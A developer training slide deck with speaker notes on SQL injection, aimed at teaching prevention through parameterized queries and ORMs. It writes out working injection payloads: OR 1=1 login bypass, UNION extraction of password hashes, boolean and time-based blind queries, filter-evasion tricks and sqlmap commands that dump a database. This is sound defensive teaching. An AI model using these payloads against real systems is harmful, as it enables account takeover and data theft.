Dev Training

# Dev Training
### SQL Injection

Notes:
* Injection vulnerabilities
    * User-influenced data evaluated
* Do not trust user input
* Avoid using for anything where possible
* Start with SQL injection

## Overview

### About

* A Vulnerability known for more than 20 years
* Still relevant today, unfortunately
* A part of a larger class of vulnerabilities where user input is used in an interpreted context

Notes:
* First reported in 1998
    * SQL a thing since '74
    * Public internet since ~ '93
* Still pretty common

## The problem

### Request

```http
POST /search HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

query=test
```

Notes:
* Legitimate request
* Common sight

### Server

```python
search = request.POST['query']
uname = request.session.user.username

query = f"""SELECT * FROM items
WHERE owner='{uname}' AND name='{search}'"""

conn.execute(query)
return conn.fetchall()
```

Notes:
* Something like this on the server
* See a problem?
* Direct variable injection

### Intended use

```http
POST /search HTTP/1.1
...

query=test
```

```sql
SELECT * FROM items
         WHERE owner='syndis' AND name='test'
```

```http
HTTP/1.1 200 OK
...

{"results": [{"id": 99, "owner": "syndis", ...}, ...]}
```

Notes:
* This is supposed to happen
* All very reasonable

### What about...

```http
POST /search HTTP/1.1
...

query='wat
```

```sql
SELECT * FROM items
         WHERE owner='syndis' AND name=''wat'
```

```http
HTTP/1.1 500 Internal Server Error
...

```

Notes:
* What if we add symbols?
* SQL syntax error.
* Indicator! Maybe SQLi

### Being a bit clever

```http
POST /search HTTP/1.1
...

query='OR 1=1;--
```

```sql
SELECT * FROM items
         WHERE owner='syndis' AND name=''OR 1=1;--'
```

```http
HTTP/1.1 200 OK
...

{"results": [{"id": 1, "owner": "admin", ...},
             {"id": 99, "owner": "syndis", ...},
             ...]}
```

Notes:
* So let's get clever
* Whitespace left plain for legibility
* This gives me a very long list. Why?
* We have changed the query.
    * What else can we do?

### Getting data from other tables

### SQL injection UNION attacks

```http
POST /search HTTP/1.1
...

query='UNION SELECT username, passw FROM users;--
```

```sql
SELECT item_name, owner FROM items
         WHERE owner='syndis' AND name=''
         UNION SELECT username, passw FROM users;--'
```

```http
HTTP/1.1 200 OK
...

{"results": [{"name": "thing", "owner": "admin"},
             {"name": "another thing", "owner": "syndis"},
             ...
             {"name": "admin", "owner": "2ab96390c..."}
             ...]}
```

Notes:
* What if we do a union?
* Field number and type must match
    * Easy to figure out
* Typically first enumerate database
    * List tables, columns

## Another example

### Login

```http
POST /login HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

username=admin&password=hunter2
```

```python
uname = request.POST['username']
passw = request.POST['password']

query = f"""SELECT * FROM users
WHERE uname='{uname}' AND passw='{passw}'"""

conn.execute(query)
return conn.fetchone()
```

Notes:
* Different example
* What can we do here?

### Now we can do

```http
POST /login HTTP/1.1
...

username=admin&password='OR 1=1;--
```

```sql
SELECT * FROM users
         WHERE uname='admin' AND passw=''OR 1=1;--'
```

Notes:
* Authentication bypass!

### Blind

* This is considered to be boolean-based (content-based) blind SQL injection
    * No data received from server
    * Just a binary response: success/failure

Notes:
* No data returned
* But got information

## Blind SQL injection

### Data from limited or no response

* It is possible to exfiltrate data, using SQLi, without the server returning the data
    - Boolean-based
    - Time-based

Notes:
* There are ways to extract data from this information
* Different server responses for different results

### Boolean-based (content-based)

### Binary search length

```sql
SELECT * FROM users WHERE uname = 'admin'
         AND length(passwd) < 10;--' AND passwd = '';
-- Success
```

```sql
SELECT * FROM users WHERE uname = 'admin'
         AND length(passwd) < 5;--' AND passwd = '';
-- Failure
```

```sql
SELECT * FROM users WHERE uname = 'admin'
         AND length(passwd) < 7;--' AND passwd = '';
-- Success
```

```sql
SELECT * FROM users WHERE uname = 'admin'
         AND length(passwd) < 6;--' AND passwd = '';
-- Success
```

Notes:
* We can figure out admin's password
    * How?
* Something like this
* End up homing in on a password length
    * 5 characters

### Binary search data byte-for-byte

```sql
SELECT * FROM users WHERE uname = 'admin'
         AND unicode(substring(passwd, 1, 1)) < 127;--'AND...

SELECT * FROM users WHERE uname = 'admin'
         AND unicode(substring(passwd, 1, 1)) < 63;--'AND...

...

SELECT * FROM users WHERE uname = 'admin'
         AND unicode(substring(passwd, 5, 1)) < 127;--'AND...
```

Notes:
* Same for password content.
* Guess each character value.
* Eventually we will extract the password.

### No feedback

What if there is SQL injection but there is no difference between successful and unsuccessful database queries

Notes:
* Sometimes server responses don't differ.
* There are other ways

### Time based

* Infer success by how long the request takes
- Perform long running operation if condition is true (e.g. `pg_sleep` in PostgreSQL)
* Use short-circuit nature of `AND`

```sql
SELECT * FROM users WHERE uname = 'admin'
  AND passwd < 'n' AND pg_sleep(10);--' AND passwd = '';
```

Notes:
* Conditional evaluation
* Use sleep function
    * Only evaluated if LHS is true
    * Easy to detect

## Prevention

## Limited prevention

Notes:
* Naive approach
* These strategies are not sufficient

### Input filtering

* No spaces
    * `SELECT/**/user/**/FROM/**/users...`
    * `SELECT(user)FROM(users)...`
* No quotes
    * `WHERE name = 'admin'`
    * `WHERE name = 0x61646d696e`
* No `WHERE`
    * `SELECT * FROM users HAVING ...`

Notes:
* Recurring theme.
* Input filtering can be bypassed!
    * Safe and useful assumption.
* Can of worms, best not to open.

### Web Application Firewall

* Should never be thought of as prevention
* But can be useful
    * Stop inexperienced attackers
    * Detect malicious payloads and attempted attacks
        * Needs to be monitored to be effective

Notes:
* WAFs are great.
    * Not effective prevention measure
* Slows down / stops script kiddies
* Helps with detection
    * Must be monitored

## Actual prevention

Notes:
* But what does work?

### Parameterized queries

* Prepared statements
* Stored procedures

```csharp
var username = Request.QueryString["username"];
var query = "SELECT * FROM users WHERE username = @Username"

SqlCommand cmd = new SqlCommand(query, conn);
cmd.Parameters.AddWithValue("@Username", username);

var reader = cmd.ExecuteReader();
```

Notes:
* Parameterized queries.
* Treat queries like functions, input like parameters.
    * Ensures injected values are not interpreted.
    * Treated only as encoded data by database.

### Object-relational Mapping (ORM)

```csharp
var username = Request.QueryString["username"];

var user =
    from usr in db.Users
    where usr.Name == username
    select usr;
```

* Some ORMs allow raw SQL queries
    * Parameterize them!

Notes:
* Some languages have built-in ORMs.
* Use them if you can!
    * But use them carefully!
* Follow documentation.

## Second order SQL injection

### Do I need to parameterize everything?

#### Yes

Notes:
* What does that even mean?
* Do I need to do this for every single query?
* Yes.

### Registration

```http
POST /register HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

username=' OR 1=1;--&password=hunter2
```

```python
uname = request.POST['username']
passw = request.POST['password']

conn.execute("INSERT INTO users (uname, passwd) VALUES (?,?)",
    (uname, passw))
```

Notes:
* Example: user registration with parameterized insert.
* No injection here, despite malicious input.

### Later on

```http
POST /search HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

query=test
```

```python
search = request.POST['query']
uname = request.session.user.username

query = f"""SELECT * FROM items
WHERE owner='{uname}' AND name=?"""

conn.execute(query, (search,))
return conn.fetchall()
```

Notes:
* But somewhere downstream this happens.
* Request parameter correctly handled.
* Payload retrieved from DB and injected.
    * Thus second-order

## Impact

### Essentially a worst case scenario

* Data exfiltration
* Account takeover
* Loss of integrity
* Loss of data
* Local file inclusion
* Remote code execution

Notes:
* Extremely bad.
* At best, same read/write data acces as app.
    * Which is extremely bad.
* At worst, full network takeover.

## Rules of thumb

### General

* Don't rely on input filtering
* Use ORM or parameterized queries

Notes:
* To summarize: do not trust input filtering.
* Use features of your languages and frameworks.
    * Use them as recommended.

## Testing

```text
        ___
       __H__
 ___ ___[,]_____ ___ ___
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org
```

Notes:
* Testing for SQLi can be a pain.
* Tools exist that make it extremely easy.

### sqlmap

* Useful tool for detecting and exploiting SQL injection
* Very noisy
* Only use on your own servers!

Notes:
* SQLmap probably best known.
* Extremely aggressive and noisy.
    * Easy to detect.
* May cause damage, use with care.

### Usage

For simple GET requests

```bash
sqlmap example.com?test=3   # Host to target
       --level=1            # Where to inject (1-5)
       --risk=1             # What methods to use (1-3)
       -p test              # Parameter(s) to target
       --dbms="sqlite"      # DBMS to target
       --string="Yes"       # Value in response if successful
       --sql-query="..."    # Perform SQL query
       -a                   # Dump all data from DB
```

Notes:
* Exmaple of how powerful it is.
* Best to keep risk low to avoid damage.
* Will try a bunch of things.
* Systematically identifies vulnerability.
    * Automatically exploits it to extract data.
    * In this case, the entire database.

### Burp request as model

`request.txt`

```http
GET /?test=3 HTTP/1.1
Host: example.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64)...
Accept: text/html,application/xhtml+xml...
Referer: https://example.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

Command
```bash
sqlmap -r /full/path/to/request.txt -p test
```

Notes:
* You can use exported Burp requests.
    * Identified vuln with repeater.
    * Attack with SQLmap.

## Epilogue

### Further reading

* [OWASP - SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
* [PortSwigger Academy - SQL Injection](https://portswigger.net/web-security/sql-injection)
* [sqlmap](http://sqlmap.org/)

### Hall of fame

* [Vodafone Iceland](https://www.zdnet.com/article/vodafone-iceland-breached-customer-details-smses-stolen/)
* [TalkTalk](https://www.theguardian.com/business/2016/oct/05/talktalk-hit-with-record-400k-fine-over-cyber-attack)
* [Mosack Fonseca](https://www.wired.co.uk/article/panama-papers-mossack-fonseca-website-security-problems)